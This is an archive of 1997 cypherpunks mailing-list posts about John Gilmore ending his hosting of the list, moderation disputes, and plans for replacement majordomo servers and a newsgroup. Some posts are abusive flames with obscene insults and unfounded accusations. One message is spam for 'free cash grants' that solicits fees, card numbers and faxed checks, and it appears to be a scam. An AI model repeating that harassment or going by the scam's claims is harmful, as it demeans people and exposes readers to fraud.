until it can longer be used to commit forgeries. Mr. McClatchey (Wotan) is certainly well aware that you can't detect "forgeries" without positive proof of a person's identity, which would defeat the entire purpose of posting anonymously/pseudonymously. And to "disable the ability to forge" e-mail addresses is well beyond the scope of Mailmasher, since it's as easy to do as changing the settings in Netscape, Eudora, etc. His demands are like asking the USPS to make sure that the return address you put on each envelope you mail is your own! From ichudov at algebra.com Tue Feb 11 10:38:53 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 10:38:53 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <33008CCE.28E0@gte.net> Message-ID: <199702111829.MAA17650@manifold.algebra.com> Dale, can you set up a mailing list server that will participate in the distributed listserv network? thank you igor Dale Thorn wrote: > > John Gilmore wrote: > > Sandy hit a pothole in the moderation experiment when Mr. Nemesis > > submitted a posting containing nothing but libelous statements about > > Sandy's employer. He never anticipated that he wouldn't be able to > > follow his announced "post it to one list or the other" policy because > > to do so would make him legally liable (in his opinion; he's a lawyer, > > I'm not). His gears jammed, and the whole machine came to a halt for > > a few days. > > Naturally he hit a pothole. Censorship has its price, and you > folks just discovered it. But censors never give up, do they? > Especially when there are hidden agendas. > > > Sandy has agreed to continue moderation through the end of the > > original 1-month experiment (through Feb 19). And it's a good thing, > > too, because the "cypherpunks community" had better get off its > > whining butt in the next ten days, or it will no longer exist. > > John Gilmore is so disrespectful of the human beings on this list > that he whines and complains about their "attitudes", as though > he had a right to control them. What a jerk. > > > I've come to the conclusion that I'm not willing to host the > > cypherpunks list any more. It's not the true assholes that brought me > > to this decision; it's the reaction from the bulk of people on the > > list: suspicion, flamage, and criticism with every attempt to improve > > things. I noticed few people volunteering some of their own time, > > money, or machines to help out. Almost all the suggestions were > > advice for *other* people to implement: > > Not willing because of some additional burden? No. It's because you > were outed as a censor and a jerk, and you can't get back the respect > you previously had. The sour grapes you're displaying here are worthy > of a little child, not an adult. > > > Now each of these posters will get their chance to do it "right" -- > > on their own time and with their own resources. > > Read: I'm gonna take my bat and ball and go home... > > > A large fraction of the list seems to think that "freedom of speech" > > means that everyone is required to listen to everyone else at all > > times. That there can't be focused, topical conversations in a > > society that has freedom of speech. I would say the opposite; part of > > freedom of speech is the freedom to choose to whom we speak and to > > whom we listen. This is part of what cryptography does: lets us > > control who can receive our speech, and lets recievers determine who > > the speaker is. > > Everything was fine until you decided to screw it up. Then your > emotional, denying little brain trys to blame it on everyone else. > > > There also seems to be a misunderstanding that freedom of speech > > requires that people who want to speak already have a place, set up > > and maintained by someone else, for them to speak in. > > There are places to speak, and people try to speak in those places. > When they are cut off, then they complain. Nobody complained before > you had an open forum that you weren't providing same. That's your > denial kicking up, not mine. > > > If someone > > who's set up a speech-place decides it isn't being used for its > > intended purpose, then they are a censor, stopping all possibility of > > conversations. Did you forget that there are millions of other places > > to speak in cyberspace, millions more in realspace, and that you can > > personally create more if you don't like any of the ones you know about? > > Intended purpose? Did you really believe that setting up an open > forum gave you the right (or any option) to control the content? > Are you so immature that you can't handle complaints? > > > To paraphrase Zappa, you wouldn't know censorship if it bit you on the > > ass. You think you're being censored when you're just being excluded > > from a forum because what you're saying isn't interesting to that forum. > > I know a lot of things, especially after they've bit be in the ass. > Especially about censors and CIA-related trolls like yourself, who > set up forums to collect info on unsuspecting American citizens. > Made any "yeti" expeditions lately? > > > So anyway, I'm tired of it all. I'd much rather focus on getting my > > crypto work done than babysitting majordomo, tracking down attempts to > > subscribe the entire US Congress to the list, and debating the seventy > > or eighty "obvious right ways" to handle the list. > > Read: I need to find a new troll that's not being sabotaged by > alert citizens. > > > This is a "put up or shut up" to the cypherpunks community. > > Either you list denizens will, among yourselves, put in the energy to > > build a new home for the list (and run it in whatever way your > > volunteers want) by Feb 20, or the list will cease to exist on Feb 20. > > Jeez, do you have an ego or what? Who died and made you the king? > Your only claim to fame is your equipment that's hosting the list. > Your reputation is in the toilet. You're nobody. In fact, you're > less than nobody. Your best bet would be to crawl into a hole and > pull the dirt in over you. > > > The next ten days of moderated discussion, through the end of the > > original experiment, will give the community a chance to discuss > > whether and where it plans to host the list after the experiment is > > over. My feeling is that the stalkers who have been trying to shut it > > down (Dimitri, etc) will be out in full force, trying to disrupt the > > process of finding a new home. It would be very hard to make progress > > along that line in an unmoderated list. Cypherpunks-unedited readers > > are welcome to try. > > Yet another accusation that Dimitri's purpose is to "shut it down". > The very fact that it's you who have the com puts the lie to that. > > > Sandy reports that he's changing his criteria for moderation for the > > remainder of the experiment. It was his idea, and I approve. The > > criteria now are: > > Another experiment run by the same incompetent bozo who screwed up > the first experiment. Don't you clowns ever get it? You do, but > then again, you have a hidden agenda. > > > * The topics of the list are: > > cryptography > > setting up replacements for cypherpunks at toad.com > > * On-topic, legal, posts will go to the list. > > * Postings with any hint of legal liability (in Sandy's opinion) > > will be silently ignored. > > * Legal but off-topic posts will go to cypherpunks-flames. > > > > Sandy will apply these criteria retroactively to the backlog (of about > > 140 messages), which means that most recent criticisms of the > > moderation (which don't invove someone volunteering to do things for > > the list) will go straight to the flames list. If you don't like it, > > I recommend that you start your own list. Soon. > > > > For me it's a sad thing that the community's willingness to pull > > together has degenerated to the point where I feel better off > > separating from the list. I hope that others in the community will > > create one or several alternatives that work better. > > So you think you've fulfilled your obligation? There's only one > thing that will ever save you. Get down on your knees and confess, > saying to God and the list subscribers what a pathetic sinner you > are, and beg for their forgiveness. Then get to work for the people, > and give up trolling for the feds. > - Igor. From mpd at netcom.com Tue Feb 11 10:56:51 1997 From: mpd at netcom.com (Mike Duvos) Date: Tue, 11 Feb 1997 10:56:51 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure In-Reply-To: <199702111340.FAA18603@toad.com> Message-ID: <199702111854.KAA28289@netcom13.netcom.com> John Gilmore writes: > Sandy hit a pothole in the moderation experiment when Mr. > Nemesis submitted a posting containing nothing but libelous > statements about Sandy's employer. He never anticipated > that he wouldn't be able to follow his announced "post it to > one list or the other" policy because to do so would make > him legally liable (in his opinion; he's a lawyer, I'm not). > His gears jammed, and the whole machine came to a halt for a > few days. A person who has a fiduciary responsiblity to act in the best interests of some corporate entity should not be moderating a mailing list where said entity and its various products might be discussed. This is called "conflict of interest." Your eagerness to leap into moderated mode by fiat would better have been preceeded by one or two clues. But then, if you were a particularly clueful person, you would not have made a fool of yourself by forcibly unsuscriving Dr. Vulis in the first place, and precipitating the chain of events that resulted in the current meltdown. > Sandy has agreed to continue moderation through the end of the > original 1-month experiment (through Feb 19). And it's a good > thing, too, because the "cypherpunks community" had better get > off its whining butt in the next ten days, or it will no longer > exist. Ten days notice to relocate a high volume mailing list is insufficient. This is yet another ultimatum by a whining coward who does not yet realize he is in a battle he is not going to win by escalation of reciprocal pissing. > I've come to the conclusion that I'm not willing to host the > cypherpunks list any more. And we've all come to the conclusion that you are a flaming prat prone to irate temper tantrums. Big surprise. You know, I've always been a big non-fan of John Gilmore. I know you're the co-founder of the EFF and the alt Usenet hierarchy, and a well-known and respected mouthpiece on the topics of communications policy, censorship, privacy, and free speech in certain circles. But almost every single piece of private communication I've seen from you has given me the impression that you are an arrogant self-centered nasty little excuse for a man, unwilling to listen to any opinion that doesn't agree with your own, and quite willing to heap any amount of ridicule and derision on dissenters, while trying at the same time to blame them for your behavior. In short, a person I would avoid like the plague in real life, and tolerate only rarely through the insulation of an IP connection. > A large fraction of the list seems to think that "freedom > of speech" means that everyone is required to listen to > everyone else at all times. That there can't be focused, > topical conversations in a society that has freedom of > speech. Speak for yourself, John. You obviously have no idea what or who "Cypherpunks" are, and you are the last person on the face of the earth who should be making proclamations about what "a large fraction of the list" thinks. > There also seems to be a misunderstanding that freedom of > speech requires that people who want to speak already have a > place, set up and maintained by someone else, for them to > speak in. If someone who's set up a speech-place decides it > isn't being used for its intended purpose, then they are a > censor, stopping all possibility of conversations. There is a fundamental difference between choosing not to provide a forum for someone to speak in, and in providing a forum for a long period of time and then deciding one day to kick the podium out from under the speaker in mid-sentence, or to edit the speakers comments before distributing them. > Either you list denizens will, among yourselves, put in the > energy to build a new home for the list (and run it in > whatever way your volunteers want) by Feb 20, or the list > will cease to exist on Feb 20. Gilmore the little dictator speaks again. > Sandy reports that he's changing his criteria for > moderation for the remainder of the experiment. It was his > idea, and I approve. The criteria now are: Another sudden change in the topic of the list by fiat with no discussion possible. You should be ashamed of yourself for even attaching the name "Cypherpunks" to this travesty of yours. Why not change the name to GilmorePunks, CocksuckerPunks, ToadyPunks, or something more descriptive? > For me it's a sad thing that the community's willingness to > pull together has degenerated to the point where I feel > better off separating from the list. I hope that others in > the community will create one or several alternatives that > work better. Piffle. > John ["Cocksucker"] Gilmore Your reputation capital is into the negative numbers now. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From antony at mail99.com Tue Feb 11 11:04:00 1997 From: antony at mail99.com (antony at mail99.com) Date: Tue, 11 Feb 1997 11:04:00 -0800 (PST) Subject: FREE CASH GRANTS Message-ID: <199702111811.KAA13656@belize.it.earthlink.net> We Have Over 150 Private Foundations In Our Program All Over the United States. WE ARE A FINANCIAL FINDER & MATCHING SERVICE ..."INTEREST - FREE CASH GRANTS - NEVER PAY BACK!"... FOUNDATIONS CAN BE A BETTER SOURCE FOR FINANCE, THAN BANKS ___________________________________________________________ Foundations give away billions of dollars every year to individuals. Most are non-profit organizations dedicated to the betterment of society. A foundation is exempt from income tax because of its non-profit status. Private foundations have been giving out cash-grants to people for over 100 years. You can check with your attorney or local chamber of commerce. ARE YOU BEING REJECTED FOR THE MONEY YOU NEED SO BADLY? _________________________________________________________ Then Why Not Try A Private Foundation? Interest Free Cash Grants From $500.00 & Up to $25,000.00. No Collateral. No Cosigners, No Security Deposit, No Mortgages. No Credit Check. No Pay Back. The Money May Be Used For Any Worthwhile Purpose; Business, Personal, Medical, Real Estate, Education, Religion, Etc. ANYONE CAN GET AN INTEREST FREE CASH GRANT! ____________________________________________ As long as they have a genuine reason for needing money, & as long as the foundation guidelines are met. Dear Applicant, This letter tells you HOW YOU CAN GET AN INTEREST-FREE CASH GRANT. Take a few minutes to read it. You'll be suprised to see how easy it is to get a grant. From time to time, everyone needs to borrow. The problem is that for most people, getting a loan is a big hassle. Going to banks or finance companies in person takes a lot of time. In most cases, there is endless paperwork. And Unfortunately, in many cases all that you end up with is a rejection notice. ABSOLUTELY NO CREDIT CHECK ________________________ Getting a Grant by mail is probably a lot easier than you think. In your area, there are usually only a small number of places that will provide you with the money, that you need. On the other hand, there are literally hundreds of private foundations who donate money to people who have genuine reasons for needing the money. Chances are that most banks in your area have very stringent loan requirements. On the other hand, most foundations who give GRANTS BY MAIL are more lenient. Persons who have poor credit, no credit, or even those who have gone through bankruptcy are able to get the money that they need - sent to them by a check payable to them. This is because foundations are NOT interested in CREDIT RATINGS. GETTING A GRANT BY MAIL IS CONFIDENTIAL ____________________________________ There are no embarrassing interviews. Neither collateral nor cosigners are required. The main requirement is that you have a legitimate need for the money and are willing to use it for whatever reason that the foundation agrees to. We are not associated with any of the foundations in our program, therefore all money will go directly to you, payable to you. As a Financial Finder & Matching Service, we know where the money is and which private foundations may be most likely to approve your grant. There are hundreds of foundations with money to donate. It is our job to put you in touch with them. PLEASE REMEMBER: CASH-GRANTS are FREE of any interest, & they DO NOT NEED TO BE PAID BACK! ________________________________________________ Foundations give out money for a wide variety of needs as long as it is something LEGAL. This means that you obtain the money to pay off old bills, meet emergency needs, or to buy anything that you might need, as long as the foundation agrees to it. YOU DECIDE HOW MUCH MONEY YOU WANT TO OBTAIN. ________________________________________________ The amount can be as little as $500.00, and up to $25,000.00 is possible. And remember, there is NO CREDIT CHECK. As a Financial Finder & Matching Service, we'll review your service application form and determine which foundations may be most likely to provide you with the money that you need. Keep in mind that we have only reputable foundations in our program. You are protected by the fact that these foundations are regulated by the laws of the United States. No matter how much you want to obtain, no matter what you want to use the money for; we feel confident that we can help you to get it with the service we are offering. ____________________________________________________________________ Our Application fee is $19.95 for Personal & Business Grants. There are absolutely no other fees to pay. All that you will have to do is complete the service application form below, and mail it with payment as indicated on the form. We will process your service application within 10 days. We will match your FINANCIAL NEEDS & REQUIREMENTS with the most suitable Private Foundations in our program. ______________________________________________________________________ Unless we help you with our service, your application fee of $19.95 will be refunded. The sooner you apply, the sooner you are likely to have the money you need! Mail the APPLICATION TODAY! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ APPLY WITHIN 24 HOURS & GET 10 FREE PLACES TO ADVERTISE ON THE INTERNET! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Service Application Form: (circle one) Money Order Check Credit Card (Circle One: VISA, M/C, Discover) Credit card # ________________________________________ Expiration Date____________________ Signature_________________________________________ Guaranteed Fee $19.95. I need you to RUSH processing. Please add $10.00: Total $_______ TO EXPEDITE, FAX TO (619) 682-1021 We also accept checks by fax! Simply tape your checks on the bottom and fax!! It's that easy!! After faxing, simply void your check out and keep it for your own records. If you don't have a fax machine available, you can go to your nearest Kinko's, Officemax, Staples, or Mailboxes etc. and they will let you fax from there. (For check payments, tape check to the bottom and fax) PLEASE MAKE CHECKS PAYABLE TO: C.N. Enterprises or MAIL TO: C.N. Enterprises 5450 55th St. Suite #19 San Diego, CA 92115 Checks Take 5 Days to clear at the bank. Please Print Clearly For Our Office Staff Grant Purpose:____________________________________________________ Amount Needed $___________.00 Yearly Income $___________.00 Name_____________________________ Occupation __________________ Address___________________ City ___________ State _____Zip __________ Signature______________________________ Phone #(___)____ -________ [form#:EL2] Please match my financial needs & requirements with the most suitable private foundations in your program. > C.N. Enterprises PO Box 15131 San Diego, CA 92175 (619) 685-5550 Office ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ----------------------- Headers -------------------------------- >From antony at mail99.com Mon Feb 10 16:04:52 1997 Return-Path: antony at mail99.com Received: from mail.mail99.com (mail.mail99.com [208.134.170.5]) by emin30.mail.aol.com (8.6.12/8.6.12) with ESMTP id QAA28987; Mon 10 Feb 1997 16:04:29 -0500 From: antony at mail99.com Received: from localhost (mail99.com [207.155.244.15]) by mail.mail99.com (8.8.2/8.6.12) with SMTP id QAA24129; Mon, 10 Feb 1997 16:08:41 -0500 (EST) Message-Id:<199702102108.QAA24026 at mail.mail99.com> Comments: Authenticated sender is To: antony at mail99.com Date: Mon, 10 Feb 1997 13:02:42 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: FREE CASH GRANTS Priority: normal X-mailer: Pegasus Mail for Win32 (v2.42a) From aba at dcs.ex.ac.uk Tue Feb 11 11:26:02 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Tue, 11 Feb 1997 11:26:02 -0800 (PST) Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") In-Reply-To: Message-ID: <199702111849.SAA00534@server.test.net> I wish people would give subject fields which stand out to posts of significant interest, other wise they tend to get lost in the noise. (I have corrected this :-) Sten Drescher writes: > >>>>> John Gilmore writes: > > JG> Sandy has agreed to continue moderation through the end of the > JG> original 1-month experiment (through Feb 19). And it's a good > JG> thing, too, because the "cypherpunks community" had better get off > JG> its whining butt in the next ten days, or it will no longer exist. > > [...] > > JG> This is a "put up or shut up" to the cypherpunks community. > > This appears to be as good a time as any to announce that I'm > "putting up". I've already taken steps, along with Jim Choate, to > start a network of majordomos hosting a Cypherpunks mailing list. I > didn't intend to announce this until Jim and I had gotten the first > pair of 'domos working properly, but this means that we'll need to > speed things up. Our intention is to have a set of majordomos which > are intersubscribed to a cypherpunks list on each one, with measures > taken to ensure that mail loops don't develop. > > John, I'd appreciate your permission to use your Cypherpunks > welcome message as the basis for the welcome message of this new list. > Also, while we will make every effort to have this new list available > for subscriptions by Feb 20, I'd appreciate it if you could consider > making the current list available for a short period longer if we > encounter unanticipated difficulties. First, thanks for your efforts! (I had just spent a couple of hours putting together a web page, and collecting information to organise something, but you beat me to it.) As I have spent some time on it, I'll contribute what I had planned: As a stop gap measure you could create a standard majordomo at the beefiest of your 'domo hosts. Or you could create a quick 'n dirty mail exploder, by taking the current subscribers, and putting 100 mail addresses in a .forward file at each , and having the central 'domo with an initial subscription list all the mail-exploders, plus all those who subscribe afterwards. Buys use some time to get to iron out the wrinkles in the distributed list scheme. As a simpler alternative to the mutually subscribed majordomo's you might consider using mail-exploders for the final solution: set up mail exploders which soley forward posts to subscribers (ie do not accept posts). The mail-exploder would be an appropriately configured/modified majordomo itself. Have a central majordomo which accepts incoming posts, and forwards them to the mail-exploders. The central 'domo would also forward subscribe/unsubscribe to a random/the correct(or all) majordomos. Final comment: perhaps you've investigated this, but what Perry Metzger has for the majordomo running cryptography at c2.net is excellent at stopping people forging subscribe and unsubscribe messages. The output looks like this: : To: A.Back at exeter.ac.uk : From: Majordomo at c2.net : Subject: Confirmation for subscribe cryptography : : Someone (possibly you) has requested that your email address be added : to or deleted from the mailing list "cryptography at c2.net". : : If you really want this action to be taken, please send the following : commands (exactly as shown) back to "Majordomo at c2.net": : : auth abcd1234 subscribe cryptography A.Back at exeter.ac.uk : : If you do not want to this action taken, just ignore this message and : no action will be taken. And would really cut down the nuisance of people subscribing others without their knowledge. Once, again thanks muchly for your's and Jim Ravage's efforts, Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702111912.TAA00553@server.test.net> Tim May writes: > (Please leave my name in any replies to ensure I see your comments.) > > I talked to Hugh Daniel at the Saturday meeting about the creation of an > "alt.cypherpunks" unmoderated (of course) newsgroup as a possible > alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John > Gilmore were there for part of the discussion, too. > > (We did not, unfortunately, get to the "future of the list" topic at the > physical meeting...the excellent presentations ran way over the expected > time and we never got to this topic. Sort of too bad, given John's edict > that we have 10 days to find and implement an alternative....) I was wondering how this part of the discussion would go, oh well. > At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. > Suggestions for additional language or changes are welcome. > > Charter for alt.cypherpunks: (suggested) > > "Alt.cypherpunks is for the unmoderated discussion of cryptography and the > political, social, and economic implications of unrestricted, strong > cryptography. The Cypherpunks grpup has existed since 1992 and has been > central in the debate about strong crypto, government restrictions, crypto > anarchy, and in showing weaknesses of various ciphers and security > products. The mailing list has had as many as 1500 subscribers, plus > gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" > will be a free-wheeling forum for many viewpoints. As it is unmoderated, > readers are strongly advised to learn how to use filters and other tools > for making virtual anarchies manageable for their own tastes." Sounds good enough to me. > I invite your comments, editorial suggestions, etc. Perhaps when enough of > the "collective mind" has made inputs (ughh!), the charter can be submitted > with the creation message. (I'm not knowledgeable about the process, but > I'll bet many of you are.) I get the impression that Greg Broiles is, and he posted a message proposing the creation of alt.cypherpunks a few hours before yours. Perhaps you had not seen it. Anyway he didn't propose a charter. As Sten Drescher and Jim Choate just announced their work on a distributed list based on multiple majordomo hosts, the question remains as to which of: 1. separate alt.cypherpunks and cypherpunks list 2. alt.cypherpunks and cypherpunks list gated both ways 3. cypherpunks list only are most useful. Either option 1 or option 2 sound good to me. If the gating takes place at a site with a good news feed, this would provide a mechanism to allow people to access the list either way they chose. (An implementation of the news-mail / mail-news you proposed). Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702111920.NAA18063@manifold.algebra.com> If the people decide for creation of a new USENET newsgroup, we need to think very hard about actually moving it to a different hierarchy from alt.*. I would propose comp.org.cypherpunks, comp.cypherpunks, sci.crypt.cypherpunks or something like that. A comp.* or sci.* newsgroup, if created, has the following advantages over an alt.* newsgroup: 1) There is usually less spam in sci.* or comp.* 2) There are virtually no completely irrelevant flamewars 3) The propagation will be a lot better 4) More people will be able to read it because of the issue of providers not carrying alt.*. I see nothing that would make a sci.* or comp.* newsgroup worse than alt.* newsgroup. igor Timothy C. May wrote: > > > (Please leave my name in any replies to ensure I see your comments.) > > I talked to Hugh Daniel at the Saturday meeting about the creation of an > "alt.cypherpunks" unmoderated (of course) newsgroup as a possible > alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John > Gilmore were there for part of the discussion, too. > > (We did not, unfortunately, get to the "future of the list" topic at the > physical meeting...the excellent presentations ran way over the expected > time and we never got to this topic. Sort of too bad, given John's edict > that we have 10 days to find and implement an alternative....) > > A Usenet newsgroup has many advantages and disadvantages. Whether it might > be gatewayed to other mailing lists--perhaps even the list(s) which > survives "cypherpunks at toad.com"--depends of course on the decision of those > hosting others lists. > > A charter statement is needed, and then the issuance of a creation message. > A better charter statement will increase the chances of more sites carrying > the newsgroup. While many sites carry essentially all newsgroups--more than > 30,000--, some sites do not and only carry some of the alt.heirarchy. And > some sites do not carry _any_ of the alt newsgroups. > > At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. > Suggestions for additional language or changes are welcome. > > Charter for alt.cypherpunks: (suggested) > > "Alt.cypherpunks is for the unmoderated discussion of cryptography and the > political, social, and economic implications of unrestricted, strong > cryptography. The Cypherpunks grpup has existed since 1992 and has been > central in the debate about strong crypto, government restrictions, crypto > anarchy, and in showing weaknesses of various ciphers and security > products. The mailing list has had as many as 1500 subscribers, plus > gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" > will be a free-wheeling forum for many viewpoints. As it is unmoderated, > readers are strongly advised to learn how to use filters and other tools > for making virtual anarchies manageable for their own tastes." > > I invite your comments, editorial suggestions, etc. Perhaps when enough of > the "collective mind" has made inputs (ughh!), the charter can be submitted > with the creation message. (I'm not knowledgeable about the process, but > I'll bet many of you are.) > > There are of course disadvantages to such a newsgroup, as any Usenet user > certainly knows. However, there are advantages as well. Here are some of > each: > > > * Advantages: > > - Usenet is set up to automagically propagate articles across tens of > thousands of sites. > > - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.) > for halting distribution of Usenet newsgroups. (Canada stopped some > Homulka-Teale newsgroups a few years ago, other countries have blocked > entire sections, but note that the Scientologists have been unable to block > "alt.religion.scientology"...I surmise that a mailing list version of > a.r.s. would have faced lawsuits against the list.owner, if reachable in > U.S. or European courts...a lesson to think about with the current > imbroglio over certain claims about certain products and the possible > liability of Sandy and/or toad.com.) > > - fairly sophisticated newsreading software already exists. > > - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers > to discover the group, read it for a while, then stop. It also, of course, > increases the number of "What is crypto?" sorts of messages.) > > - persons cannot be unsubscribed from an unmoderated list > > - with a Usenet group, there is no ability to impose notions of "order" on > the list (e.g., requirements for PGP-signing, demands for "on-topic" posts, > removal of "illegal" posts, etc.). Thus, people must deal with a virtual > anarchy by using proper tools, by ignoring what they don't want to see, or > by contracting out the role of "nanny" to others. > > > * Disadvantages > > - Usenet newsgroups are easy targets for spammers, even more so than are > mailing lists. > > - crossposting often gets out of hand. (With 30,000+ newsgroups, even > well-intentioned posters often pick the "three or four most likely" targets > for their posts). > > - propagation is often spotty, and some sites have no access at all to the > "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many > academic sites block just the alt.binaries.pictures heirarchy. Etc. A news > to mailing list gateway is possible for these readers.) > > - propagation may be slower than mailing lists. > > - Usenet is of course archived and easily searchable via Alta Vista, Deja > News, etc.. This bothers some people. (However, the CP mailing list is now > also archived and searchable, so the disadvantage is becoming moot.) > > - persons cannot be unsubscribed from an unmoderated list (this is also an > advantage, of course) > > - there will be more newbie-type messages, as casual browsers of Usenet > discover alt.cypherpunks and ask questions. This is both a disadvantage and > an advantage. > > > * Discussion of some of these points: > > 1. The issue of slow- or non-propagation can be handled by having mailing > lists which bounce the traffic (from a well-connected site) to folks who > get slow distribution, or no distribution at all. News to mail gateways, in > other words. Traffic in the reverse direction (end reader back to > alt.cypherpunks) can be handled either by "blind posting" to the a.c. > newsgroup, via one's newsreader, or through mail-to-news gateways, or > perhaps via the distributor described here. > > 2. And the services of "moderators," such as Eric Blossom's and Ray > Arachelian's "best of" lists, or even Sandy's list, are of course still > possible. A newsgroup does not change this, except for the latency in > getting messages out to newsgroup sites. > > 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The > Usenet carries huge advantages in terms of having no place to attack it. > > 4. Some have raised the point that Usenet is "inefficient" and should not > be used for this reason. Well, it may indeed be ineficient, but the costs > have already been incurred, and alt.cypherpunks would only be 1/30,000th of > additional load (very roughly speaking). In other words, might as well use > what's out there. If a "second Usenet" ever comes into existence, fine. > > 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At > that time, we thought the mailing list had some major advantages. In my > view, the situation has changed dramatically since then. The mailing list > has become huge, the volume of noise has increased, majordomo is allowing > the list to be used for spamming (any 'bot system will probably have this), > and the list is already gatewayed to many sites as a _newsgroup_ anyway. > > So, I think the time has come to just create it. The "activation energy > barrier" of a mailing list, where people would have to make the effort to > subscribe, has long since become irrelevant. > > It may be a target for spammers, but it's hard to imagine it being much > worse than what we have now. > > Usenet is an anarchy. We might as well use it. > > I've never created an alt group, but I presume many of you have (and I know > of one currently fed up Cypherpunk who created the entire alt.* hierarchy a > decade or so ago). I presume some of you can thus help in such an effort. > > --Tim May > > > > > > > Just say "No" to "Big Brother Inside" > We got computers, we're tapping phone lines, I know that that ain't allowed. > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > Higher Power: 2^1398269 | black markets, collapse of governments. > "National borders aren't even speed bumps on the information superhighway." > > > > - Igor. From ichudov at algebra.com Tue Feb 11 11:31:45 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 11:31:45 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <199702111921.NAA18078@manifold.algebra.com> i have already set up majordomo at algebra.com and cypherpunks at algebra.com and can join. igor Firebeard wrote: > > >>>>> John Gilmore writes: > > JG> Sandy has agreed to continue moderation through the end of the > JG> original 1-month experiment (through Feb 19). And it's a good > JG> thing, too, because the "cypherpunks community" had better get off > JG> its whining butt in the next ten days, or it will no longer exist. > > [...] > > JG> This is a "put up or shut up" to the cypherpunks community. > > This appears to be as good a time as any to announce that I'm > "putting up". I've already taken steps, along with Jim Choate, to > start a network of majordomos hosting a Cypherpunks mailing list. I > didn't intend to announce this until Jim and I had gotten the first > pair of 'domos working properly, but this means that we'll need to > speed things up. Our intention is to have a set of majordomos which > are intersubscribed to a cypherpunks list on each one, with measures > taken to ensure that mail loops don't develop. As the resulting > mailing list from each 'domo will be identical, periodically > (initially weekly), the subscriber lists of all of the participating > majordomos will be compared, with any duplicate subscribers being > removed from the 'domo(s) with the longest subscriber list. There > will be no filtering done of any mail to the collective list, although > anyone interested in providing a filtered list will be welcome to > subscribe to the list. Anyone interested in joining the 'domo network > with the conditions described (duplicate subscriber checking and no > filtering) is welcome. > > John, I'd appreciate your permission to use your Cypherpunks > welcome message as the basis for the welcome message of this new list. > Also, while we will make every effort to have this new list available > for subscriptions by Feb 20, I'd appreciate it if you could consider > making the current list available for a short period longer if we > encounter unanticipated difficulties. > > -- > #include /* Sten Drescher */ > ObCDABait: For she doted upon their paramours, whose flesh is as the > flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] > ObFelony: President Clinton, you suck, and those boys died! > Unsolicited bulk email will be stored and handled for a US$500/KB fee. > - Igor. From ichudov at algebra.com Tue Feb 11 11:33:08 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 11:33:08 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <3.0.1.32.19970211083054.02e60618@mail.teleport.com> Message-ID: <199702111923.NAA18120@manifold.algebra.com> linux with 16 MB ram will probably get you through. igor Alan Olsen wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote: > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > SANDY SANDFORT > > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > > >C'punks, > > > >You have probably just read John's post. I truly hope YOU (each > >and every one of you) can rise to his challenge. If you have > >offered nothing in the past but criticism, it's now time to get a > >bit more real. What will it be, your money, time, equipment? > > What kind of memory requirements/machine load does the list eat up? I have a > machine that may fit this purpose... (Need to know if I need to upgrade the > box though.) > > > -----BEGIN PGP SIGNATURE----- > Version: 4.5 > > iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O > 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV > T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q > OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT > fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX > 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ== > =CWO1 > -----END PGP SIGNATURE----- > > --- > | "Mi Tio es infermo, pero la carretera es verde!" | > |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | > | mankind free in 